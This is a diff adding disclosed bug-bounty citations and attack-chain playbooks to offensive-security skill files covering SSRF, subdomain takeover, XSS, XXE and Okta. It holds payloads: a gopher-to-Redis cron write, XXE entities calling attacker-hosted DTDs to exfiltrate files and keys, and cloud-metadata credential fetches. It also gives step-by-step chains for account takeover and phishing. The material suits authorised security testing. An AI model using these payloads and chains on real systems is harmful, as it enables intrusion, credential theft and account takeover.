+ - Payload: injected `<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">` into a template element rendered server-side; backend Ruby loop rendered the untrusted template HTML into PDF, reflecting IMDS response inside the rendered PDF / error message
+ - Root cause: unsanitised user-controlled template fragment reflected in PDF rendering pipeline; no IMDSv2 enforcement
+ - Year: 2023 — **$25,000** (CVSS 10.0 Critical)
+
+4. **Shopify Exchange — SSRF in screenshot service → GCP metadata → container root** ([H1 #341876](https://hackerone.com/reports/341876))
+ - Subclass: GCP metadata SSRF → SSRF-to-RCE chain
+ - Payload: created store on partners.shopify.com, edited `password.liquid` template to embed a request to `http://metadata.google.internal/computeMetadata/v1/` with `Metadata-Flavor: Google`, then triggered the Exchange screenshotting service to render the template server-side
+ - Root cause: screenshotter fetched user-controlled template with no metadata-host blocklist and no metadata-concealment proxy
+ - Year: 2018 — **$25,000** (canonical headless-browser → metadata)
+
+5. **Concrete CMS — SSRF mitigation bypass via DNS rebinding → AWS IAM keys** ([H1 #1369312](https://hackerone.com/reports/1369312))
+ - Subclass: DNS rebinding SSRF → AWS metadata SSRF (IMDSv1)
+ - Payload: file-upload-from-URL feature; attacker DNS server alternated `A` records between `1.2.3.4` (public) and `169.254.169.254`; needed 2-3 requests to win the race between validation and fetch; final request retrieved IAM role credentials
+ - Root cause: validated hostname by resolving once; download path re-resolved DNS without pinning the validated IP
+ - Year: 2021 — fixed in 8.5.7 / 9.0.1
+
+6. **Yahoo Mail — Blind SSRF → Gopher → Redis RCE** ([Writeup](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530))
+ - Subclass: gopher protocol abuse → Redis SSRF → SSRF-to-RCE chain
+ - Payload: blind SSRF in Yahoo Mail backend reached via `gopher://internal-redis:6379/_*1%0d%0a$8%0d%0aflushall...SET stuff /var/spool/cron/root...BGSAVE` — wrote a cron via Redis to get command execution
+ - Root cause: gopher scheme not blocklisted; internal Redis unauthenticated on default port; SSRF target accepted 302 redirect from attacker host to `gopher://`
+ - Year: 2020 — **$15,000**
+
+7. **Reddit Matrix — Blind SSRF in `preview_url` API** ([H1 #1960765](https://hackerone.com/reports/1960765))
+ - Subclass: link-preview SSRF (blind, internal port-scan via timing/response codes)
+ - Payload: `GET https://matrix.redditspace.com/_matrix/media/r0/preview_url/?url=http://10.0.0.0:80/` — varied internal IPs/ports; service names and IPs leaked through response differences before the fix
+ - Root cause: link-preview fetcher did not reject RFC1918 / link-local destinations; allowlist-by-scheme only
+ - Year: 2023 — **$6,000**
+
+8. **Azure DevOps — SSRF in Service Hooks + DNS rebinding bypass in endpointproxy** ([Binary Security writeup](https://www.binarysecurity.no/posts/2025/01/finding-ssrfs-in-devops))
+ - Subclass: webhook URL field SSRF + DNS rebinding SSRF → Azure IMDS / managed identity
+ - Payload: configured service-hook webhook URL or `endpointproxy` URL parameter to attacker rebinding host; second resolution returned `169.254.169.254`; chained CRLF injection to set required `Metadata: true` header for Azure IMDS
+ - Root cause: validation-then-fetch with separate DNS lookups; CRLF in URL path injected headers needed by Azure IMDS
+ - Year: 2023-2024 — **$15,000 total** across 3 reports
+
+---
+
## Related Skills & Chains
- **`cloud-iam-deep`** — SSRF is the canonical entry to cloud metadata service. Chain primitive: SSRF → IMDSv1 token theft → `cloud-iam-deep` privilege escalation reaches `iam:CreateUser` / `sts:AssumeRole` on cross-account roles.
diff --git a/skills/hunt-subdomain/SKILL.md b/skills/hunt-subdomain/SKILL.md
index ba18292..a010151 100644
--- a/skills/hunt-subdomain/SKILL.md
+++ b/skills/hunt-subdomain/SKILL.md
@@ -1,8 +1,8 @@
---
name: hunt-subdomain
-description: Hunting skill for subdomain vulnerabilities. Built from 11 public bug bounty reports. Use when hunting subdomain on any target.
-sources: github, hackerone_public
-report_count: 11
+description: Hunting skill for subdomain vulnerabilities. Built from 15 public bug bounty reports including modern provider fingerprints — Microsoft Azure DevOps `cloudapp.azure.com` regional-pool re-issue (1-click OAuth ATO via wildcard `reply_to`), Zendesk help-desk takeover → email interception → password reset chain ($2k), Vercel `cname.vercel-dns.com` deleted-project takeover (2022 + 2025 confirmed), AWS S3 dangling-bucket cookie-scope chain (Affirm), Smartling translation-SaaS namespace re-claim, Fastly CDN service re-attach (2025), and Shopify storefront `shops.myshopify.com` host-mapping takeover (2025). Use when hunting subdomain takeover — emphasis on ATO-chain primitives (OAuth `redirect_uri`, cookie-domain, email DNS).
+sources: github, hackerone_public, binarysecurity_research, can-i-take-over-xyz_research
+report_count: 15
---
## Crown Jewel Targets
@@ -229,6 +229,102 @@ An attacker finds `feedback.snapchat.com` CNAME pointing to a UserVoice subdomai
---
+## Disclosed Report Citations (Backfill +4 — 2022-2025)
+
+The following real, verified bug-bounty / coordinated-disclosure cases extend this skill with **modern provider fingerprints** (Vercel/Azure cloudapp/Zendesk/Shopify era) and explicit ATO-chain examples.
+
+12. **Microsoft Azure DevOps — Two `cloudapp.azure.com` subdomains + wildcard `*.visualstudio.com` OAuth reply_to → 1-click ATO** ([Binary Security writeup](https://www.binarysecurity.no/posts/2022/11/azure-devops-takeover))
+ - Subclass: Azure `cloudapp.azure.com` regional-pool dangling CNAME — chained to ATO
+ - ATO chain: **YES** — `app.vssps.visualstudio.com/_signin?reply_to=https://feedsprodwcus0dr.feeds.visualstudio.com/` whitelisted any `*.visualstudio.com`. Attacker claimed the dangling Azure VM hostnames, then crafted sign-in URLs that returned JWT + FedAuth tokens to attacker-controlled endpoints
+ - Claim flow: identify dangling `cloudapp.azure.com` CNAME, deploy a free-tier VM in the same Azure region requesting the exact released hostname, Azure re-issues the name first-come-first-serve
+ - Year: reported Feb 2021, disclosed Nov 2022 — MSRC explicitly out-of-scope (relied on subdomain takeover), $0
+
+13. **Anonymous H1 — `admin-support.xyz.com` → unclaimed Zendesk → email interception → ATO** ([Writeup by 0xprial](https://0xprial.com/the-art-of-zendesk-hijacking/))
+ - Subclass: Zendesk help-desk takeover via `xyzdocs.zendesk.com` host-mapping
+ - ATO chain: **YES** — researcher configured email forwarding on the hijacked Zendesk instance, intercepted `[email protected]` tickets containing payment info + password-reset emails, then triggered password resets on customer accounts that delivered reset links into the attacker's Zendesk inbox
+ - Claim flow: `dig CNAME` returns `xyzdocs.zendesk.com` (unregistered) → register free Zendesk trial → add `xyzdocs` as subdomain → enable host-mapping for `admin-support.xyz.com`
+ - Year: 2023 — **$2,000** (Critical: $1,500 base + $500 chain bonus)
+
+14. **Sifchain — `proxies.sifchain.finance` → dead Vercel project** ([H1 #1487793](https://hackerone.com/reports/1487793))
+ - Subclass: Vercel dangling CNAME (`cname.vercel-dns.com`) after project deletion
+ - Impact: crypto-DEX phishing — `proxies.` subdomain trusted for RPC proxy routing; attacker could serve malicious wallet-drain JS under a "trusted" subdomain
+ - Claim flow: subdomain returns Vercel 404 `DEPLOYMENT_NOT_FOUND` → create free Vercel project → Settings → Domains → add `proxies.sifchain.finance` — Vercel verifies the existing CNAME and auto-issues TLS without out-of-band ownership proof
+ - Year: 2022 — Sifchain treated as Critical (web3 phishing vector)
+
+15. **Anonymous H1 — `assets.target.com` → unclaimed Fastly service** ([Writeup](https://medium.com/@sohailahmed0x0/fastly-subdomain-takeover-leading-to-bounty-reward-5fff711d0518))
+ - Subclass: Fastly CDN dangling origin/service hostname (modern 2025 confirmation)
+ - Potential ATO chain: would chain to CSP-bypass + JS-injection if the parent domain trusts `assets.` for `script-src`
+ - Claim flow: subdomain returns `Fastly error: unknown domain. Please check that this domain has been added to a service` → sign up for Fastly free trial → create new CDN service → attach `assets.target.com` as the service domain — Fastly accepts without out-of-band ownership proof
+ - Root cause: Fastly historically does not verify CNAME ownership on service-creation; any CNAME pointing into Fastly's anycast can be attached to a fresh service
+ - Year: 2025 — 4-figure bounty ($1,000-$9,999)
+
+---
+
+## Chains & Compositions (Senior Hunting)
+
+Subdomain takeover by itself is Low-Medium / Informational on most mature programs — defacement of a non-business-critical subdomain is unsexy. The chain payout is 10-100x the standalone. **Every takeover should be evaluated against the five chains below before submission.** If none apply, you have a Low; if one applies, you have a High; if two compose, you have a Critical.
+
+### Chain 1 — Takeover + OAuth `redirect_uri` Whitelist → Auth-Code Theft → 1-Click ATO
+
+- **A.** Enumerate the OAuth `redirect_uri` allowlist via `/oauth/authorize` flow. Look for any wildcard `*.target.com` or any takeover-candidate hostname in the static list (e.g., `feedsprod.feeds.visualstudio.com`, `legacy.target.com`).
+- **B.** Find a takeover-able subdomain in that allowlist. Claim it via the provider's onboarding (Vercel project, Azure cloudapp regional pool, S3 bucket, Heroku app, Zendesk, Shopify storefront — see Disclosed Report Citations #1-#15 above).
+- **C.** Host an OAuth callback receiver on the claimed subdomain. Send victim to `/oauth/authorize?redirect_uri=https://legacy.target.com/cb&response_type=code&client_id=<legit>`. Victim's browser already has session → auth happens transparently → auth code lands on attacker host. Exchange via token endpoint → ATO.
+- **Impact:** Persistent 1-click ATO across every user of the target. OAuth flow is implicit-to-the-user (no consent screen if previously consented), so requires only a single click on attacker's link.
+- **Real shape:** Microsoft Azure DevOps `cloudapp.azure.com` + wildcard `*.visualstudio.com` reply_to chain (Binary Security, Nov 2022 — Disclosed Report Citation #12). Multiple H1 disclosures on SaaS programs with permissive OAuth allowlists.
+
+### Chain 2 — Takeover at Sibling Subdomain + Cookie-Domain Wildcard → Session Fixation on Parent App
+
+- **A.** Inspect cookies set by the main app (`app.target.com`). If `Set-Cookie` has `Domain=.target.com` (parent-scoped) instead of host-only, cookies bleed to every sibling subdomain — including taken-over ones.
+- **B.** Take over any sibling (`legacy.target.com`, `feedback.target.com`, `assets.target.com`). The taken-over host can now `Set-Cookie` for the parent domain.
+- **C.** Plant `Set-Cookie: SESSIONID=<attacker_session>; Domain=.target.com` via a script on the taken-over host. Victim visits `app.target.com` with attacker's session cookie attached. Server treats them as the attacker's account → session-fixation ATO.
+- **Impact:** ATO without OAuth or password reset — pure cookie-domain bleed. Especially effective when the parent app uses a non-`__Host-` prefixed session cookie.
+- **Real shape:** Discussed extensively in `hunt-auth-bypass` Duende BFF Attack Class 2 (cookie-domain wildcarding turns subdomain takeover into session fixation). Affirm S3-bucket-takeover cookie-scope class — Disclosed Report Citation #14 (2022).
+
+### Chain 3 — Takeover + CSP `script-src` Includes the Taken-Over Host → Persistent Stored XSS on Main App
+
+- **A.** Inspect CSP header on the main app's HTML response. Look for `script-src 'self' assets.target.com cdn.target.com legacy.target.com ...`.
+- **B.** Take over one of the CSP-allowlisted subdomains (especially common: stale CNAMEs to deleted CDNs, deleted Vercel/Netlify projects, archived analytics services).
+- **C.** Host attacker-controlled JavaScript at the takeover host. Every page load on the main app fetches `<script src="//taken-over-host/x.js">` because the host is on the CSP allowlist. JS executes with main-app origin — full session access, can call any same-origin API.
+- **Impact:** Stored XSS-equivalent on every page of the main app, persistent until the CSP is updated. Bypasses every input sanitiser because the JS source is "trusted" per CSP.
+- **Real shape:** Sifchain `proxies.sifchain.finance` Vercel takeover — Disclosed Report Citation #14 (web3 phishing); pattern documented in multiple H1 disclosures 2020-2024.
+
+### Chain 4 — Takeover + CORS `Access-Control-Allow-Origin` Regex Match → Credentialed Cross-Origin API Read
+
+- **A.** Inspect the API's CORS configuration. Look for any regex / wildcard / suffix-match in `Access-Control-Allow-Origin` that includes `*.target.com` or `target.com.*` (the second is a common bug).
+- **B.** Take over any subdomain that the CORS regex would accept (or register a new `target.com.attacker.com` host if suffix-match is broken).
+- **C.** Attacker page hosted on the taken-over subdomain issues `fetch('https://api.target.com/account', {credentials:'include'})`. CORS preflight passes. Server returns credentialed response. Attacker's JS reads it.
+- **Impact:** Mass cross-tenant API read with credentials — sessions, PATs, account data, billing records — all reachable from a single attacker page.
+- **Real shape:** Multiple disclosed cases; cross-refs `hunt-api-misconfig` CORS subsection. Pairs with `hunt-misc` step 1 (CORS regex enumeration).
+
+### Chain 5 — Takeover at Email DNS (DKIM / SPF / MX) → Email Spoofing → Phishing Trusted by Parent Brand
+
+- **A.** Enumerate the target's email DNS — DKIM selectors (`selector1._domainkey.target.com`), SPF includes (`include:_spf.takeover-candidate.com`), MX records (`mx.target.com → defunct-provider.example`).
+- **B.** Take over any DKIM-selector or SPF-include host. Now the attacker can publish DKIM/SPF records that authorise their own server to send mail "from" `@target.com`.
+- **C.** Send phishing email `From: [email protected]` to victim. Recipient mail server passes SPF + DKIM checks (because the takeover server is now authorised). Email lands in inbox with `target.com` brand, no security warning.
+- **Impact:** Highly-effective phishing campaign exploiting the parent brand. Victims trust the email because every authentication check passes. Credential harvesting, BEC fraud, supply-chain access.
+- **Real shape:** Multiple historical disclosures on DKIM selector takeover / SPF include chain hijacking. Cross-refs DMARC / SPF / DKIM section in `offensive-osint`.
+
+### Operator-level pattern
+
+The five chains above are exhaustive in practice — virtually every senior-tier subdomain-takeover payout maps to one of them. Before reporting any takeover, run through the checklist:
+
+1. **OAuth `redirect_uri` allowlist** — does the taken-over host appear? → Chain 1, Critical.
+2. **Parent-domain cookies** — does the main app set `Domain=.target.com`? → Chain 2, High.
+3. **CSP `script-src`** — does the taken-over host appear in the allowlist? → Chain 3, Critical.
+4. **CORS allowlist** — does any regex match the taken-over host? → Chain 4, High.
+5. **Email DNS (DKIM selector / SPF include)** — does the taken-over host appear? → Chain 5, High.
+
+If none apply, file at Low/Informational. **Do not file at Critical without demonstrating one of these chains** — triagers downgrade fast otherwise.
+
+Cross-references:
+- `hunt-oauth` — Chain 1 (`redirect_uri` bypass class)
+- `hunt-auth-bypass` Duende BFF Attack Class 2 — Chain 2 (cookie scoping)
+- `hunt-xss` Chain 4 — Chain 3 (CSP bypass via trusted-origin JS)
+- `hunt-api-misconfig` CORS section — Chain 4
+- `offensive-osint` email-security section — Chain 5
+
+---
+
## Related Skills & Chains
- **`hunt-cloud-misconfig`** — Most stale CNAMEs point at deleted cloud assets (S3, CloudFront, Heroku). Chain primitive: Cloud misconfig (S3 deleted) + `hunt-subdomain` → unclaimed CNAME points to bucket → claim bucket name → full subdomain control.
diff --git a/skills/hunt-xss/SKILL.md b/skills/hunt-xss/SKILL.md
index d4d94aa..1df5aa1 100644
--- a/skills/hunt-xss/SKILL.md
+++ b/skills/hunt-xss/SKILL.md
@@ -327,6 +327,71 @@ A project management platform patched an XSS vulnerability in label color fields
---
+## Chains & Compositions (Senior Hunting)
+
+XSS as a standalone finding gets paid at Low-Medium on mature programs. Real payouts cluster around chains that convert JS execution into account takeover, mass-victim impact, CSP bypass, or token exfil. The composition skill is *"what does my XSS unlock once it executes?"* — and the answer is always something beyond `alert(1)`.
+
+### Chain 1 — Reflected XSS + Cache Poisoning → Persistent Stored XSS at CDN Scale (Kettle-class)
+
+- **A.** Identify a reflected XSS where the vulnerable input lands in the response body and the response is cacheable (`Cache-Control: public, max-age=…`).
+- **B.** Identify an unkeyed input that influences the cached body — typically `X-Forwarded-Host`, `X-Original-URL`, an unkeyed cookie, or a parameter stripped from the cache key but reflected in the body.
+- **C.** Send a single request with the XSS payload via the unkeyed input. Cache stores the poisoned response. Every subsequent CDN-edge visitor receives it for the full TTL.
+- **Impact:** Self-inflicted reflected XSS becomes persistent stored XSS affecting every visitor in the affected geo until cache expires. No per-victim interaction required.
+- **Real shape:** Glassdoor reflected→stored XSS via cache poisoning, H1 #1424094 (2021-2022); Kettle "Practical Web Cache Poisoning" research. Cross-refs `hunt-cache-poison` Disclosed Report Citation #4.
+
+### Chain 2 — Self-XSS + CSRF Trigger → Effective Stored XSS → ATO
+
+- **A.** Confirm self-XSS in a profile field (`bio`, `display_name`, `signature`) — payload only executes when the same logged-in user views their own profile.
+- **B.** Find a CSRF-vulnerable endpoint that mutates that field (no anti-CSRF token, or `text/plain` enctype bypass).
+- **C.** Craft attacker-hosted page that submits the CSRF form setting `bio` to the XSS payload. Victim visits attacker page → CSRF fires → victim's profile updated → victim's next visit to their own profile executes attacker JS.
+- **Impact:** Self-XSS that "doesn't pay" becomes ATO. The payload runs in the victim's authenticated session — extract cookie, force email change via XHR, password reset → full ATO.
+- **Real shape:** Multiple H1 disclosures 2019-2023 across social platforms. Cross-refs `hunt-csrf` step 7 (form-based CSRF on profile mutation).
+
+### Chain 3 — DOM XSS on /signin or /oauth Callback → Fragment Token Capture → ATO
+
+- **A.** Find DOM XSS on a `/signin`, `/oauth/callback`, or `/auth/return` page — typically `document.location.hash` parsed into the DOM without escaping.
+- **B.** OAuth-implicit-flow callbacks frequently land tokens in the URL fragment (`#access_token=...`). The fragment is NOT sent to the server; only the browser sees it.
+- **C.** XSS payload reads `document.location.hash`, base64-encodes it, exfils via `Image()` to attacker domain. Attacker now holds the OAuth access token.
+- **Impact:** Cross-platform ATO. The access token typically grants API scope to Facebook/Google/Microsoft user data; some implementations use the token directly as the session.
+- **Real shape:** Detectify "Dirty Dancing" multi-vendor OAuth token leakage (F. Rosén, 2022); Zoom OAuth chained ATO $15,000 (H1 / Harel Security, 2024). Cross-refs `hunt-oauth` Disclosed Report Citation #19 and #20.
+
+### Chain 4 — SVG Upload XSS + CSP Bypass → JS Execution on Trusted Origin → Cookie/Token Theft
+
+- **A.** Identify a file-upload feature that accepts `image/svg+xml`. SVG files are XML and can contain `<script>` tags — many sanitisers process PNG/JPG but pass SVG through unmodified.
+- **B.** CSP frequently applies to HTML responses but NOT to `image/svg+xml` responses. The SVG executes JS in the context of whichever origin serves it.
+- **C.** If the SVG is served same-origin (common when uploads go to `target.com/uploads/<sha>.svg`), the executing JS has full session-cookie access and can call any same-origin API.
+- **Impact:** Stored XSS on the trusted origin without going through any reflected/stored content vector — bypasses CSP entirely; pulls session cookies, calls password-change endpoints, ATO.
+- **Real shape:** Multiple disclosed cases across SaaS uploaders; cross-refs `hunt-file-upload` SVG section and `hunt-xxe` Disclosed Report Citation #3 and #4 (Zivver/Lab45 SVG-upload chains).
+
+### Chain 5 — postMessage XSS + Origin Check Bypass → Cross-Origin Token Exfil → ATO
+
+- **A.** Identify a `window.addEventListener('message', handler)` where `handler` does NOT check `event.origin` (or checks it with a `indexOf`/`endsWith` that fails on `target.com.attacker.com`).
+- **B.** Attacker page opens `target.com` in a popup or iframe. Once loaded, sends a `postMessage` payload that the handler evals, processes as XSS, or uses to extract `document.cookie`.
+- **C.** Handler executes in `target.com` context; response is `postMessage`'d back to attacker page via `event.source.postMessage(stolenData, '*')`.
+- **Impact:** Cross-origin JS execution and exfil with no CSP violation — `postMessage` is a legitimate cross-origin channel; CSP doesn't gate it. Token theft / session hijack.
+- **Real shape:** Detectify "Dirty Dancing" multi-vendor postMessage gadgets (2022); Zoom OAuth + postMessage chain (2024). Cross-refs `hunt-oauth` Disclosed Report Citation #19, #20.
+
+### Chain 6 — Markdown/Wiki XSS + Privileged Viewer → Cross-Privilege Stored XSS
+
+- **A.** Stored XSS in a collaborative content field (wiki page, issue comment, customer ticket, support reply) — payload survives Markdown rendering due to insufficient allowlist on `<style>`, `<math>`, `<svg>`, or attribute filters.
+- **B.** The collaborative content is viewed by a privileged user (admin, support agent with elevated permissions, project maintainer).
+- **C.** Privileged viewer's session executes the payload in their authenticated context — XHR to admin-only endpoints, role-change of attacker, secret exfil from admin-only panels.
+- **Impact:** Privilege escalation from low-priv user to admin via stored XSS — attacker promotes themselves on the privileged user's behalf.
+- **Real shape:** GitLab/Jira/Confluence markdown-XSS-to-admin-priv-esc class; common payout pattern is High (privilege escalation severity bump over standalone stored XSS).
+
+### Operator-level pattern
+
+When you confirm XSS at A, immediately ask: what state-changing endpoint or token store does this JS now have access to? *Where does the payload run, and who sees it?* The chain payout is 5-20x the standalone XSS payout. Discipline gate before submission: do not file XSS as "Critical" without demonstrating the terminal impact (ATO / token exfil / privilege escalation); file as Medium otherwise.
+
+Cross-references:
+- `hunt-cache-poison` — Chain 1
+- `hunt-csrf` — Chain 2
+- `hunt-oauth` — Chains 3, 5
+- `hunt-file-upload` / `hunt-xxe` — Chain 4
+- `hunt-ato` — terminal impact for Chains 2, 3, 4, 5
+
+---
+
## Related Skills & Chains
- **`hunt-cache-poison`** — Reflected XSS becomes stored-equivalent at CDN scale when the vulnerable parameter is unkeyed. Chain primitive: `X-Forwarded-Host: attacker.com` poisons a cached response whose `<script src=...>` now points at attacker.com → every CDN-edge visitor executes attacker JS without any per-victim interaction.
diff --git a/skills/hunt-xxe/SKILL.md b/skills/hunt-xxe/SKILL.md
index 1cbb68b..8b76082 100644
--- a/skills/hunt-xxe/SKILL.md
+++ b/skills/hunt-xxe/SKILL.md
@@ -1,8 +1,8 @@
---
name: hunt-xxe
-description: Hunting skill for xxe vulnerabilities. Built from 4 public bug bounty reports. Use when hunting xxe on any target.
-sources: github
-report_count: 4
+description: Hunting skill for xxe vulnerabilities. Built from 10 public bug bounty reports including SVG-upload XXE, Office-doc (PPTX/DOCX) XXE, SOAP XXE, SAML AssertionConsumer XXE, blind OOB XXE via DTD callback, parameter-entity XXE, XXE-to-LFI, XXE-to-SSRF, and XXE-to-RCE chains (Adobe Commerce CosmicSting CVE-2024-34102). Use when hunting XXE on any target — emphasis on OOB-Or-It-Didn't-Happen Gate for blind cases.
+sources: github, hackerone_public, assetnote_research, splunk_security
+report_count: 10
---
## Crown Jewel Targets
@@ -357,6 +357,48 @@ A REST API endpoint nominally accepting JSON was found to also parse requests su
---
+## Disclosed Report Citations (Backfill +6 — 2016-2024)
+
+The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Three cases (#7, #9, #10) are OOB-required (blind) — they cross-reference the `hunt-ssrf` OOB-Or-It-Didn't-Happen Gate and cannot be claimed without a Collaborator/interactsh callback.
+
+5. **Mail.ru — Pulse RSS/Atom feed XXE (file read)** ([H1 #505947](https://hackerone.com/reports/505947))
+ - Subclass: direct file-read XXE (in-band)
+ - Payload: `<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>` inside RSS feed body → `<title>&xxe;</title>` reflected in response
+ - Root cause: pulse.mail.ru RSS/Atom ingestion called an XML parser with `external general entities` enabled
+ - Year: 2019 — **$6,000**
+
+6. **Twitter — sms-be-vip.twitter.com SOAP/SXMP servlet XXE** ([H1 #248668](https://hackerone.com/reports/248668))
+ - Subclass: SOAP XXE (cloudhopper SXMP servlet) — confirmed via HTTP callback **and** reflected file read
+ - Payload: `<!DOCTYPE r [<!ENTITY % ext SYSTEM "http://attacker/x.dtd"> %ext;]>` chained in SXMP request body
+ - Root cause: Cloudhopper SXMP servlet parsed inbound XML with default JAXP settings (entities resolved)
+ - Year: 2017 — **$10,080** (classic SOAP-XXE reference case)
+
+7. **Zivver — SVG profile-picture upload XXE → SSRF** ([H1 #897244](https://hackerone.com/reports/897244))
+ - Subclass: SVG-upload XXE, OOB-confirmed, chains to SSRF
+ - Payload: SVG with `<!DOCTYPE svg [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><text>&xxe;</text>`
+ - Root cause: server thumbnailed uploaded SVG with an XML parser that resolved external entities; no entity-resolver shutdown
+ - Year: 2020 — Zivver had no paid program at the time
+
+8. **Open-Xchange — Blind XXE via PowerPoint (.pptx) import** ([H1 #334488](https://hackerone.com/reports/334488))
+ - Subclass: Office-doc XXE (PPTX = ZIP of XML parts), OOB-required
+ - Payload: modify `ppt/slides/slide1.xml` inside the .pptx ZIP to include `<!DOCTYPE x [<!ENTITY % a SYSTEM "http://attacker/d.dtd"> %a;]>`; external DTD chains parameter entities to exfil `file:///etc/passwd` over HTTP
+ - Root cause: PowerPoint parser pre-rendered the XML parts of the OOXML container before disabling entity resolution
+ - Year: 2018 — **$2,000**
+
+9. **Uber — Blind OOB XXE on ubermovement.com** ([H1 #154096](https://hackerone.com/reports/154096))
+ - Subclass: blind OOB XXE (third-party vendor product), OOB-required
+ - Payload: `<!DOCTYPE r [<!ENTITY ping SYSTEM "http://attacker.example/">]><search><q>&ping;</q></search>`
+ - Root cause: generic XML endpoint in Movement's vendor stack accepted XML and resolved system entities; no data exfil possible (sandboxed), only blind ping
+ - Year: 2016 — **$500**
+
+10. **Adobe Commerce / Magento — "CosmicSting" CVE-2024-34102** ([Assetnote writeup](https://www.assetnote.io/resources/research/why-nested-deserialization-is-harmful-magento-xxe-cve-2024-34102))
+ - Subclass: XXE-to-RCE (nested deserialization → XXE in Laminas request body) — modern, exploited in the wild
+ - Payload: REST API JSON request whose nested `simplexml_load_string()` reaches `<!DOCTYPE r [<!ENTITY % d SYSTEM "http://attacker/x.dtd"> %d;]>`; external DTD reads `app/etc/env.php` (admin crypt-key) and POSTs it back; key forges admin token → RCE
+ - Root cause: `Laminas\Http\PhpEnvironment\Request` deserialized `simplexml_load_string` on attacker-controlled body without `LIBXML_NOENT` protections
+ - Year: 2024 — Adobe HackerOne bounty paid, CVSS 9.8
+
+---
+
## Related Skills & Chains
- **`hunt-ssrf`** — XXE is SSRF-with-XML-syntax once you discover the parser fetches external entities. Chain primitive: blind XXE OOB `<!ENTITY % x SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/role">` → exfil AWS IMDS creds via parameter-entity DTD callback → STS AssumeRole chain. Where pure SSRF is filter-blocked, `gopher://` via XXE-in-`libxml2` can still reach Redis/SMTP.
diff --git a/skills/okta-attack/SKILL.md b/skills/okta-attack/SKILL.md
index b21a778..aa8949c 100644
--- a/skills/okta-attack/SKILL.md
+++ b/skills/okta-attack/SKILL.md
@@ -1,8 +1,8 @@
---
name: okta-attack
description: Okta-as-IdP red-team attack chain — tenant discovery, user enumeration (multiple vectors), authentication flow analysis (factors enumeration, push-notification fatigue, SMS bypass), password spray with lockout discipline, Okta-specific phishing primitives (kits, FastPass abuse, OIDC redirect_uri tampering), MFA enumeration, post-compromise admin API surface. Many enterprise orgs use Okta instead of (or alongside) Entra ID. Distinct endpoints, distinct rate-limiting, distinct factor flows. Use when recon shows `<tenant>.okta.com`, `<tenant>.okta-emea.com`, `<tenant>.oktapreview.com`, or autodiscover-style records pointing at Okta IdP.
-sources: public-okta-docs, idp-redteam-knowledge
-report_count: 0
+sources: public-okta-docs, idp-redteam-knowledge, disclosed-incidents
+report_count: 8
---
## When to use this skill
@@ -321,6 +321,75 @@ If responses are identical, the vector is hardened — pivot to OneDrive-equival
---
+## Disclosed cases / CVEs / coordinated-disclosure writeups
+
+These are the canonical public references that justify the techniques in this skill. Cite them in reports when applicable and use them as analog cases when scoping novel Okta attack chains.
+
+### 1. Okta + Sitel/Sykes — LAPSUS$ supply-chain breach (Jan 2022, disclosed Mar 2022)
+
+- Refs: <https://sec.okta.com/articles/2022/03/official-okta-statement-lapsus-claims/>, <https://www.okta.com/blog/company-and-culture/oktas-investigation-of-the-january-2022-compromise/>, <https://thehackernews.com/2022/03/new-report-on-okta-hack-reveals-entire.html>, <https://www.itpro.com/security/cyber-security/367236/leaked-mandiant-report-okta-breach-lapsus-operation>
+- Flow: LAPSUS$ compromised a support engineer's workstation at Sitel (third-party support sub-processor, acquired Sykes Enterprises). Via Mimikatz + GitHub-hosted tooling on a thin-client jump host, they reached Okta's internal "SuperUser" support tooling for ~25 minutes on Jan 21 2022. Final scope: 2 customer tenants accessed of 366 originally feared.
+- Root cause: Third-party support provider with persistent privileged access to customer tenants, weak segmentation, domain creds stored in spreadsheets, no MFA on the inbound VPN account, delayed reporting (Mandiant report Mar 17, public disclosure Mar 22 only after LAPSUS$ tweeted screenshots).
+- Year: 2022. Severity: Critical (industry-shaking — reset the trust model for IdP supply chains).
+
+### 2. Okta Customer Support HAR-file leak (Sep-Oct 2023)
+
+- Refs: <https://sec.okta.com/articles/2023/11/unauthorized-access-oktas-support-case-management-system-root-cause/>, <https://blog.cloudflare.com/how-cloudflare-mitigated-yet-another-okta-compromise/>, <https://www.beyondtrust.com/blog/entry/okta-support-unit-breach>, <https://www.bleepingcomputer.com/news/security/okta-breach-134-customers-exposed-in-october-support-system-hack/>
+- Flow: Okta support employee logged into a personal Google profile on a corp laptop; Chrome sync exfiltrated saved support-service-account creds to a compromised personal device. Threat actor used those creds to log into the support case-management portal Sep 28 - Oct 17 2023, downloaded HAR files that customers had uploaded for troubleshooting. HAR files contained live session cookies/tokens → session-replay against the customers' Okta tenants. 134 customers exposed, 5 had sessions hijacked (BeyondTrust, Cloudflare, 1Password publicly disclosed).
+- Root cause: Service-account creds reaching an unmanaged personal device via Chrome profile sync + HAR files containing un-sanitized session tokens accepted for replay (no IP/device binding on support tokens).
+- Year: 2023. Severity: Critical. BeyondTrust detected and reported to Okta on Oct 2 2023; Okta did not publicly acknowledge until Oct 19 2023.
+
+### 3. Scattered Spider / Octo Tempest / UNC3944 — Okta tenant social-engineering campaign (2022-2024, ongoing)
+
+- Refs: <https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a>, <https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection/>, <https://www.darkreading.com/cyberattacks-data-breaches/how-the-okta-cross-tenant-impersonation-attacks-succeeded>, <https://attack.mitre.org/groups/G1015/>
+- Flow: Group calls IT help desk impersonating an employee (LinkedIn-profile-sourced identity), requests MFA reset + password reset, gains initial Okta foothold. Then elevates to Okta Super-Admin, configures a second IdP under attacker control, enables inbound federation + account-linking, modifies NameID on attacker-IdP to match the target user, and impersonates any Okta user across the tenant without their cred. Used in MGM and Caesars attacks (Sep 2023, $100M+ losses) and confirmed on 4+ Okta customers in the Jul-Aug 2023 campaign.
+- Root cause: Help-desk-as-trust-anchor with no out-of-band verification + Okta inbound federation feature allowing attacker-controlled IdP to issue arbitrary-NameID assertions accepted as authentic.
+- Year: 2023 onwards. Severity: Critical. Joint CISA/FBI advisory AA23-320A.
+
+### 4. Okta cross-origin authentication credential stuffing (Apr-May 2024)
+
